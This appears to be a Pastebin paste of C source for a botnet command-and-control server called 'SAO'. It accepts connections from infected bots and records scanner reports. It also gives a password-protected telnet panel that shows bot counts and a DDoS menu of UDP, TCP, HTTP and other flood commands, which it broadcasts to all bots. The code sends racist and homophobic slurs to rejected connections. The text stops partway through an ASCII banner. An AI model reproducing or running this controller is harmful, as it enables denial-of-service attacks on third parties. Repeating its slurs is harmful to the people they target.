Advertisement
KaraKeiji

SAO.c

Mar 15th, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.83 KB | None | 0 0
  1. /*
  2. ,---.
  3. .--.--. ' ,'\
  4. / / ' ,--.--. / / |
  5. | : /`./ / \ . ; ,. :
  6. | : ;_ .--. .-. |' | |: :
  7. \ \ `. \__\/: . .' | .; :
  8. `----. \ ," .--.; || : |
  9. / /`--' // / ,. | \ \ /
  10. '--'. /; : .' \ `----'
  11. `--'---' | , .-./
  12. `--`---'
  13. Server Side By Root Senpai
  14. -------------------------------------------
  15. Banners: sao, senpai, kirito and asuna
  16. make sure login file name is sao.txt
  17.  
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <string.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netdb.h>
  25. #include <unistd.h>
  26. #include <time.h>
  27. #include <fcntl.h>
  28. #include <sys/epoll.h>
  29. #include <errno.h>
  30. #include <pthread.h>
  31. #include <signal.h>
  32.  
  33. #define MAXFDS 1000000
  34. #define RED "\x1b[0;31m"
  35. #define GREEN "\x1b[0;32m"
  36. #define C_RESET "\x1b[0m"
  37.  
  38. struct account {
  39. char id[20];
  40. char password[20];
  41. };
  42. static struct account accounts[10]; //max users is set on 50
  43. struct clientdata_t {
  44. uint32_t ip;
  45. char build[7];
  46. char connected;
  47. } clients[MAXFDS];
  48. struct telnetdata_t {
  49. int connected;
  50. } managements[MAXFDS];
  51. ////////////////////////////////////
  52. static volatile FILE *telFD;
  53. static volatile FILE *fileFD;
  54. static volatile int epollFD = 0;
  55. static volatile int listenFD = 0;
  56. static volatile int managesConnected = 0;
  57. static volatile int TELFound = 0;
  58. static volatile int scannerreport;
  59. ////////////////////////////////////
  60. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  61. {
  62. int total = 0, got = 1;
  63. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64. return got;
  65. }
  66. void trim(char *str)
  67. {
  68. int i;
  69. int begin = 0;
  70. int end = strlen(str) - 1;
  71. while (isspace(str[begin])) begin++;
  72. while ((end >= begin) && isspace(str[end])) end--;
  73. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  74. str[i - begin] = '\0';
  75. }
  76. static int make_socket_non_blocking (int sfd)
  77. {
  78. int flags, s;
  79. flags = fcntl (sfd, F_GETFL, 0);
  80. if (flags == -1)
  81. {
  82. perror ("fcntl");
  83. return -1;
  84. }
  85. flags |= O_NONBLOCK;
  86. s = fcntl (sfd, F_SETFL, flags);
  87. if (s == -1)
  88. {
  89. perror ("fcntl");
  90. return -1;
  91. }
  92. return 0;
  93. }
  94. static int create_and_bind (char *port)
  95. {
  96. struct addrinfo hints;
  97. struct addrinfo *result, *rp;
  98. int s, sfd;
  99. memset (&hints, 0, sizeof (struct addrinfo));
  100. hints.ai_family = AF_UNSPEC;
  101. hints.ai_socktype = SOCK_STREAM;
  102. hints.ai_flags = AI_PASSIVE;
  103. s = getaddrinfo (NULL, port, &hints, &result);
  104. if (s != 0)
  105. {
  106. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107. return -1;
  108. }
  109. for (rp = result; rp != NULL; rp = rp->ai_next)
  110. {
  111. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112. if (sfd == -1) continue;
  113. int yes = 1;
  114. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116. if (s == 0)
  117. {
  118. break;
  119. }
  120. close (sfd);
  121. }
  122. if (rp == NULL)
  123. {
  124. fprintf (stderr, "STOP USING IRELIVANT PORTS\n");
  125. return -1;
  126. }
  127. freeaddrinfo (result);
  128. return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132. int sendMGM = 1;
  133. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134. char *wot = malloc(strlen(msg) + 10);
  135. memset(wot, 0, strlen(msg) + 10);
  136. strcpy(wot, msg);
  137. trim(wot);
  138. time_t rawtime;
  139. struct tm * timeinfo;
  140. time(&rawtime);
  141. timeinfo = localtime(&rawtime);
  142. char *timestamp = asctime(timeinfo);
  143. trim(timestamp);
  144. int i;
  145. for(i = 0; i < MAXFDS; i++)
  146. {
  147. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  148. if(sendMGM && managements[i].connected)
  149. {
  150. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  151. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152. send(i, ": ", 2, MSG_NOSIGNAL);
  153. }
  154. //printf("sent to fd: %d\n", i);
  155. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  156. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;33m~$ \x1b[1;33m", 13, MSG_NOSIGNAL);
  157. else send(i, "\n", 1, MSG_NOSIGNAL);
  158. }
  159. free(wot);
  160. }
  161. void *epollEventLoop(void *useless)
  162. {
  163. struct epoll_event event;
  164. struct epoll_event *events;
  165. int s;
  166. events = calloc (MAXFDS, sizeof event);
  167. while (1)
  168. {
  169. int n, i;
  170. n = epoll_wait (epollFD, events, MAXFDS, -1);
  171. for (i = 0; i < n; i++)
  172. {
  173. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  174. {
  175. clients[events[i].data.fd].connected = 0;
  176. close(events[i].data.fd);
  177. continue;
  178. }
  179. else if (listenFD == events[i].data.fd)
  180. {
  181. while (1)
  182. {
  183. struct sockaddr in_addr;
  184. socklen_t in_len;
  185. int infd, ipIndex;
  186. in_len = sizeof in_addr;
  187. infd = accept (listenFD, &in_addr, &in_len);
  188. if (infd == -1)
  189. {
  190. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  191. else
  192. {
  193. perror ("accept");
  194. break;
  195. }
  196. }
  197. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  198. int dup = 0;
  199. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  200. {
  201. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  202. if(clients[ipIndex].ip == clients[infd].ip)
  203. {
  204. dup = 1;
  205. break;
  206. }
  207. }
  208.  
  209. if(dup)
  210. {
  211. if(send(infd, "- GTFONIGGER\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  212. if(send(infd, "- GTFOFAG\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  213. if(send(infd, "- GTFODUP\n\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  214. if(send(infd, "- DUPES\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  215. if(send(infd, "- GTFOPUSSY\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  216. if(send(infd, "- LOLNOGTFO\n", 11, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  217. close(infd);
  218. continue;
  219. }
  220.  
  221. s = make_socket_non_blocking (infd);
  222. if (s == -1) { close(infd); break; }
  223.  
  224. event.data.fd = infd;
  225. event.events = EPOLLIN | EPOLLET;
  226. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  227. if (s == -1)
  228. {
  229. perror ("epoll_ctl");
  230. close(infd);
  231. break;
  232. }
  233.  
  234. clients[infd].connected = 1;
  235.  
  236. }
  237. continue;
  238. }
  239. else
  240. {
  241. int thefd = events[i].data.fd;
  242. struct clientdata_t *client = &(clients[thefd]);
  243. int done = 0;
  244. client->connected = 1;
  245. while (1)
  246. {
  247. ssize_t count;
  248. char buf[2048];
  249. memset(buf, 0, sizeof buf);
  250.  
  251. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  252. {
  253. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  254. trim(buf);
  255. if(strcmp(buf, "PING") == 0)
  256. {
  257. if(send(thefd, "pOnG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  258. continue;
  259. }
  260. if(strstr(buf, "REPORT ") == buf)
  261. {
  262. char *line = strstr(buf, "REPORT ") + 7;
  263. fprintf(telFD, "%s\n", line);
  264. fflush(telFD);
  265. TELFound++;
  266. continue;
  267. }
  268. if(strstr(buf, "PROBING") == buf)
  269. {
  270. char *line = strstr(buf, "PROBING");
  271. scannerreport = 1;
  272. continue;
  273. }
  274. if(strstr(buf, "REMOVING PROBE") == buf)
  275. {
  276. char *line = strstr(buf, "REMOVING PROBE");
  277. scannerreport = 0;
  278. continue;
  279. }
  280. if(strcmp(buf, "pOnG") == 0)
  281. {
  282. continue;
  283. }
  284.  
  285. printf("\"%s\"\n", buf);
  286. }
  287.  
  288. if (count == -1)
  289. {
  290. if (errno != EAGAIN)
  291. {
  292. done = 1;
  293. }
  294. break;
  295. }
  296. else if (count == 0)
  297. {
  298. done = 1;
  299. break;
  300. }
  301. }
  302.  
  303. if (done)
  304. {
  305. client->connected = 0;
  306. close(thefd);
  307. }
  308. }
  309. }
  310. }
  311. }
  312. unsigned int clientsConnected()
  313. {
  314. int i = 0, total = 0;
  315. for(i = 0; i < MAXFDS; i++)
  316. {
  317. if(!clients[i].connected) continue;
  318. total++;
  319. }
  320.  
  321. return total*1;
  322. }
  323. void *titleWriter(void *sock)
  324. {
  325. int thefd = (int)sock;
  326. char string[2048];
  327. while(1)
  328. {
  329. memset(string, 0, 2048);
  330. sprintf(string, "%c]0; [+] SAO Sleaves: %d [-] SwordMens: %d [+]%c", '\033', clientsConnected(), managesConnected, '\007');
  331. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  332.  
  333. sleep(3);
  334. }
  335. }
  336.  
  337. int Search_in_File(char *str)
  338. {
  339. FILE *fp;
  340. int line_num = 0;
  341. int find_result = 0, find_line=0;
  342. char temp[512];
  343.  
  344. if((fp = fopen("sao.txt", "r")) == NULL){
  345. return(-1);
  346. }
  347. while(fgets(temp, 512, fp) != NULL){
  348. if((strstr(temp, str)) != NULL){
  349. find_result++;
  350. find_line = line_num;
  351. }
  352. line_num++;
  353. }
  354. if(fp)
  355. fclose(fp);
  356.  
  357. if(find_result == 0)return 0;
  358.  
  359. return find_line;
  360. }
  361. void client_addr(struct sockaddr_in addr){
  362. printf("IP:%d.%d.%d.%d\n",
  363. addr.sin_addr.s_addr & 0xFF,
  364. (addr.sin_addr.s_addr & 0xFF00)>>8,
  365. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  366. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  367. FILE *logFile;
  368. logFile = fopen("server.log", "a");
  369. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  370. addr.sin_addr.s_addr & 0xFF,
  371. (addr.sin_addr.s_addr & 0xFF00)>>8,
  372. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  373. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  374. fclose(logFile);
  375. }
  376.  
  377. void *telnetWorker(void *sock)
  378. {
  379. char usernamez[80];
  380. int thefd = (int)sock;
  381. int find_line;
  382. managesConnected++;
  383. pthread_t title;
  384. char counter[2048];
  385. memset(counter, 0, 2048);
  386. char buf[2048];
  387. char* nickstring;
  388. char* username;
  389. char* password;
  390. memset(buf, 0, sizeof buf);
  391. char botnet[2048];
  392. memset(botnet, 0, 2048);
  393.  
  394. FILE *fp;
  395. int i=0;
  396. int c;
  397. fp=fopen("sao.txt", "r");
  398. while(!feof(fp))
  399. {
  400. c=fgetc(fp);
  401. ++i;
  402. }
  403. int j=0;
  404. rewind(fp);
  405. while(j!=i-1)
  406. {
  407. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  408. ++j;
  409. }
  410.  
  411. if(send(thefd, "\x1b[37mSAO User: \x1b[37m", 23, MSG_NOSIGNAL) == -1) goto end;
  412. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  413. trim(buf);
  414. sprintf(usernamez, buf);
  415. nickstring = ("%s", buf);
  416. find_line = Search_in_File(nickstring);
  417. if(strcmp(nickstring, accounts[find_line].id) == 0){
  418. if(send(thefd, "\x1b[36m* LOADING SAO world *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  419. if(send(thefd, "\x1b[1;35mSAO Pass: \x1b[1;37m", 23, MSG_NOSIGNAL) == -1) goto end;
  420. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  421. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  422. trim(buf);
  423. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  424. memset(buf, 0, 2048);
  425. goto fak;
  426. }
  427. failed:
  428. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  429. if(send(thefd, "\x1b[36m************************************\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  430. if(send(thefd, "\x1b[0;35m* gtfo out of my world bitch! *\r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  431. if(send(thefd, "\x1b[36m************************************\r\n", 43, MSG_NOSIGNAL) == -1) goto end;
  432. sleep(5);
  433. goto end;
  434. fak:
  435.  
  436. Title:
  437. pthread_create(&title, NULL, &titleWriter, sock);
  438. char ascii_banner_line1 [5000];
  439. char ascii_banner_line2 [5000];
  440. char ascii_banner_line3 [5000];
  441. char ascii_banner_line4 [5000];
  442. char ascii_banner_line5 [5000];
  443. char ascii_banner_line6 [5000];
  444. char ascii_banner_line7 [5000];
  445. char ascii_banner_line8 [5000];
  446.  
  447. char Wline2 [80];
  448. char Wline3 [80];
  449.  
  450. sprintf(ascii_banner_line1, "\x1b[1;35m ██████ ▄▄▄ \x1b[1;36m▒\x1b[1;35m█████ \r\n");
  451. sprintf(ascii_banner_line2, "\x1b[1;36m ▒\x1b[1;35m██ \x1b[1;36m▒ ▒\x1b[1;35m████▄ \x1b[1;36m▒\x1b[1;35m██\x1b[1;36m▒ \x1b[1;35m██\x1b[1;36m▒\r\n");
  452. sprintf(ascii_banner_line3, "\x1b[1;36m ░ ▓\x1b[1;35m██▄ \x1b[1;36m▒\x1b[1;35m██ ▀█▄ \x1b[1;36m▒\x1b[1;35m██\x1b[1;36m░ \x1b[1;35m██\x1b[1;36m▒\r\n");
  453. sprintf(ascii_banner_line4, "\x1b[1;36m ▒ \x1b[1;35m██\x1b[1;36m▒░\x1b[1;35m██▄▄▄▄██ \x1b[1;36m▒\x1b[1;35m██ ██\x1b[1;36m░\r\n");
  454. sprintf(ascii_banner_line5, "\x1b[1;36m ▒\x1b[1;35m██████\x1b[1;36m▒▒ ▓\x1b[1;35m█ \x1b[1;36m▓\x1b[1;35m██\x1b[1;36m▒░ \x1b[1;35m████\x1b[1;36m▓▒░\r\n");
  455. sprintf(ascii_banner_line6, "\x1b[1;36m ▒ ▒▓▒ ▒ ░ ▒▒ ▓▒\x1b[1;35m█\x1b[1;36m░░ ▒░▒░▒░ \r\n");
  456. sprintf(ascii_banner_line7, "\x1b[1;36m ░ ░▒ ░ ░ ▒ ▒▒ ░ ░ ▒ ▒░ \r\n");
  457. sprintf(ascii_banner_line8, "\x1b[1;36m ░ ░ ░ ░ ▒ ░ ░ ░ ▒ \r\n");
  458. sprintf(Wline2, " \x1b[1;35mWelcome \x1b[1;37m%s \x1b[1;35mTo SAO\r\n", accounts[find_line].id, buf);
  459.  
  460. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  461. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  462. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  463. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  464. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(thefd, Wline2, strlen(Wline2), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(thefd, Wline3, strlen(Wline3), MSG_NOSIGNAL) == -1) goto end;
  470. while(1) {
  471. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 13, MSG_NOSIGNAL) == -1) goto end;
  472. break;
  473. }
  474. pthread_create(&title, NULL, &titleWriter, sock);
  475. managements[thefd].connected = 1;
  476.  
  477. while(fdgets(buf, sizeof buf, thefd) > 0)
  478. {
  479. if(strstr(buf, "news"))
  480. {
  481. sprintf(botnet, "nothin...\r\n");
  482. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  483. }
  484. if(strstr(buf, "owners"))
  485. {
  486. sprintf(botnet, "@root.senpai\r\n");
  487. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  488. }
  489. if(strstr(buf, "bots"))
  490. {
  491. sprintf(botnet, "[+] SAO Slaves: %d [-] SwordMens: %d [+]\r\n", clientsConnected(), managesConnected);
  492. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  493. }
  494. if(strstr(buf, "!* TCP"))
  495. {
  496. sprintf(botnet, "SAO players slapping with [TCP]\r\n");
  497. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  498. }
  499. if(strstr(buf, "!* HOLD"))
  500. {
  501. sprintf(botnet, "SAO players holding em [HOLD]\r\n");
  502. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  503. }
  504. if(strstr(buf, "!* JUNK"))
  505. {
  506. sprintf(botnet, "dont be a SAO jucky [JUNK]\r\n");
  507. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  508. }
  509. if(strstr(buf, "!* HTTP"))
  510. {
  511. sprintf(botnet, "SAO players running that site [HTTP]\r\n");
  512. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  513. }
  514. if(strstr(buf, "!* STD"))
  515. {
  516. sprintf(botnet, "SAO players slapping with [STD]\r\n");
  517. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  518. }
  519. if(strstr(buf, "!* CNC"))
  520. {
  521. sprintf(botnet, "SAO players fukcing up that net [CNC]\r\n");
  522. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  523. }
  524. if(strstr(buf, "!* UDP"))
  525. {
  526. sprintf(botnet, "SAO Sleaves Attacking em sluts [UDP]\r\n");
  527. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  528. }
  529. if(strstr(buf, "ports"))
  530. {
  531. sprintf(botnet, "PORTS: 77=TCP 53=DNS 443=NFO/OVH Source Port 22=SSH 80=HTTP PS3/XBOX=3074\r\n");
  532. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  533. }
  534. if(strstr(buf, "dev"))
  535. {
  536. sprintf(botnet, "@root.senpai\r\n");
  537. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  538. }
  539. if(strstr(buf, "menu")) {
  540. pthread_create(&title, NULL, &titleWriter, sock);
  541. char helpline1 [80];
  542. char helpline2 [80];
  543. char helpline3 [80];
  544. char helpline4 [80];
  545.  
  546. sprintf(helpline1, "\x1b[1;37mType A Option From Below:\r\n");
  547. sprintf(helpline2, "\x1b[1;37mhelp \x1b[1;31m ~ DDOS Commands\r\n");
  548. sprintf(helpline3, "\x1b[1;37mmore \x1b[1;31m ~ Extra Lit Commands\r\n");
  549.  
  550. if(send(thefd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  551. if(send(thefd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(thefd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  553. pthread_create(&title, NULL, &titleWriter, sock);
  554. while(1) {
  555. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  556. break;
  557. }
  558. continue;
  559. }
  560. if(strstr(buf, "help")) {
  561. pthread_create(&title, NULL, &titleWriter, sock);
  562. char ddoshline2 [80];
  563. char ddoshline1 [80];
  564.  
  565. char ddosline1 [80];
  566. char ddosline2 [80];
  567. char ddosline3 [80];
  568. char ddosline4 [80];
  569. char ddosline5 [80];
  570. char ddosline6 [80];
  571. char ddosline7 [80];
  572. char ddosline8 [80];
  573. char ddosline9 [80];
  574.  
  575. sprintf(ddoshline2, "\x1b[1;32m [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]\r\n");
  576. sprintf(ddoshline1, "\x1b[1;32m [+] \x1b[1;37mDDoS Menu \x1b[1;32m[+]\r\n");
  577. sprintf(ddosline1, "\x1b[1;32m [+] \x1b[1;36m!* UDP [IP] [PORT] [TIME] 32 1337 400 | UDP FLOOD \x1b[1;32m[+]\r\n");
  578. sprintf(ddosline2, "\x1b[1;32m [+] \x1b[1;36m!* TCP [IP] [PORT] [TIME] 32 all 1337 400 | TCP FLOOD \x1b[1;32m[+]\r\n");
  579. sprintf(ddosline3, "\x1b[1;32m [+] \x1b[1;36m!* HTTP [URL] G|H|P [PORT] / [TIME] 1024 | HTTP FLOOD \x1b[1;32m[+]\r\n");
  580. sprintf(ddosline4, "\x1b[1;32m [+] \x1b[1;36m!* STD [IP] [PORT] [TIME] | STD FLOOD \x1b[1;32m[+]\r\n");
  581. sprintf(ddosline5, "\x1b[1;32m [+] \x1b[1;36m!* JUNK [IP] [PORT] [TIME] | JUNK FLOOD \x1b[1;32m[+]\r\n");
  582. sprintf(ddosline6, "\x1b[1;32m [+] \x1b[1;36m!* HOLD [IP] [PORT] [TIME] | HOLD FLOOD \x1b[1;32m[+]\r\n");
  583. sprintf(ddosline7, "\x1b[1;32m [+] \x1b[1;36m!* CNC [IP] [PORT] [TIME] | COMBO FLOOD \x1b[1;32m[+]\r\n");
  584. sprintf(ddosline8, "\x1b[1;32m [+] \x1b[1;36m!* STOPATTK | KILL ATTACKS \x1b[1;32m[+]\r\n");
  585. sprintf(ddosline9, "\x1b[1;32m [+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+][+]\r\n");
  586.  
  587. if(send(thefd, ddoshline2, strlen(ddoshline2), MSG_NOSIGNAL) == -1) goto end;
  588. if(send(thefd, ddoshline1, strlen(ddoshline1), MSG_NOSIGNAL) == -1) goto end;
  589. if(send(thefd, ddosline1, strlen(ddosline1), MSG_NOSIGNAL) == -1) goto end;
  590. if(send(thefd, ddosline2, strlen(ddosline2), MSG_NOSIGNAL) == -1) goto end;
  591. if(send(thefd, ddosline3, strlen(ddosline3), MSG_NOSIGNAL) == -1) goto end;
  592. if(send(thefd, ddosline4, strlen(ddosline4), MSG_NOSIGNAL) == -1) goto end;
  593. if(send(thefd, ddosline5, strlen(ddosline5), MSG_NOSIGNAL) == -1) goto end;
  594. if(send(thefd, ddosline6, strlen(ddosline6), MSG_NOSIGNAL) == -1) goto end;
  595. if(send(thefd, ddosline7, strlen(ddosline7), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(thefd, ddosline8, strlen(ddosline8), MSG_NOSIGNAL) == -1) goto end;
  597. if(send(thefd, ddosline9, strlen(ddosline9), MSG_NOSIGNAL) == -1) goto end;
  598. pthread_create(&title, NULL, &titleWriter, sock);
  599. while(1) {
  600. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[1;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  601. break;
  602. }
  603. continue;
  604.  
  605. }
  606.  
  607. if(strstr(buf, "more")) {
  608. pthread_create(&title, NULL, &titleWriter, sock);
  609. char extraline1 [80];
  610. char extraline2 [80];
  611. char extraline3 [80];
  612. char extraline4 [80];
  613. char extraline5 [80];
  614. char extraline6 [80];
  615. char extraline7 [80];
  616. char extraline8 [80];
  617. char extraline9 [80];
  618. char extraline10 [80];
  619. char extraline11 [80];
  620.  
  621. sprintf(extraline1, "\x1b[35m sao | sao Clear\r\n");
  622. sprintf(extraline2, "\x1b[35m kirito | kirito Clear\r\n");
  623. sprintf(extraline3, "\x1b[35m senpai | senpai Clear\r\n");
  624. sprintf(extraline4, "\x1b[35m asuna | asuna Clear\r\n");
  625. sprintf(extraline8, "\x1b[35m clear | Clears Screen To Start Banner\r\n");
  626. sprintf(extraline9, "\x1b[35m ports | TO show ports\r\n");
  627. sprintf(extraline10, "\x1b[35m dev | TO SEE DEV\r\n");
  628. sprintf(extraline11, "\x1b[35m bots | BOT COUNT\r\n");
  629.  
  630. if(send(thefd, extraline1, strlen(extraline1), MSG_NOSIGNAL) == -1) goto end;
  631. if(send(thefd, extraline2, strlen(extraline2), MSG_NOSIGNAL) == -1) goto end;
  632. if(send(thefd, extraline3, strlen(extraline3), MSG_NOSIGNAL) == -1) goto end;
  633. if(send(thefd, extraline4, strlen(extraline4), MSG_NOSIGNAL) == -1) goto end;
  634. if(send(thefd, extraline8, strlen(extraline8), MSG_NOSIGNAL) == -1) goto end;
  635. if(send(thefd, extraline9, strlen(extraline9), MSG_NOSIGNAL) == -1) goto end;
  636. if(send(thefd, extraline10, strlen(extraline10), MSG_NOSIGNAL) == -1) goto end;
  637. if(send(thefd, extraline11, strlen(extraline11), MSG_NOSIGNAL) == -1) goto end;
  638. pthread_create(&title, NULL, &titleWriter, sock);
  639. while(1) {
  640. if(send(thefd, "\x1b[1;33mSAO~$ \x1b[0;32m", 12, MSG_NOSIGNAL) == -1) goto end;
  641. break;
  642. }
  643. continue;
  644. }
  645.  
  646. if(strstr(buf, "sao")){
  647.  
  648. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  649. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  650. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  651. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  652. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  653. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  654. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  655. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  656. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  657. if(send(thefd, Wline2, strlen(Wline2), MSG_NOSIGNAL) == -1) goto end;
  658. managements[thefd].connected = 1;
  659. }
  660.  
  661. if(strstr(buf, "clear")){
  662. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  663. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  664. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  665. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  666. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  667. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  668. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  669. if(send(thefd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  670. if(send(thefd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  671. if(send(thefd, Wline2, strlen(Wline2), MSG_NOSIGNAL) == -1) goto end;
  672. managements[thefd].connected = 1;
  673. }
  674.  
  675. if(strstr(buf, "senpai")) {
  676. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  677.  
  678. char senpai1 [5000];
  679. char senpai2 [5000];
  680. char senpai3 [5000];
  681. char senpai4 [5000];
  682. char senpai5 [5000];
  683. char senpai6 [5000];
  684. char senpai7 [5000];
  685.  
  686. sprintf(senpai1, "\x1b \r\n");
  687. sprintf(senpai2, "\x1b[1;35m ███████\x1b[1;36m╗\x1b[1;35m███████\x1b[1;36m╗\x1b[1;35m███\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██████\x1b[1;36m╗ \x1b[1;35m█████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m╗\r\n");
  688. sprintf(senpai3, "\x1b[1;35m ██\x1b[1;36m╔════╝\x1b[1;35m██\x1b[1;36m╔════╝\x1b[1;35m████\x1b[1;36m╗ \x1b[1;35m██\x1b[1;36m║\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m╔══\x1b[1;35m██\x1b[1;36m╗\x1b[1;35m██\x1b[1;36m║\r\n");
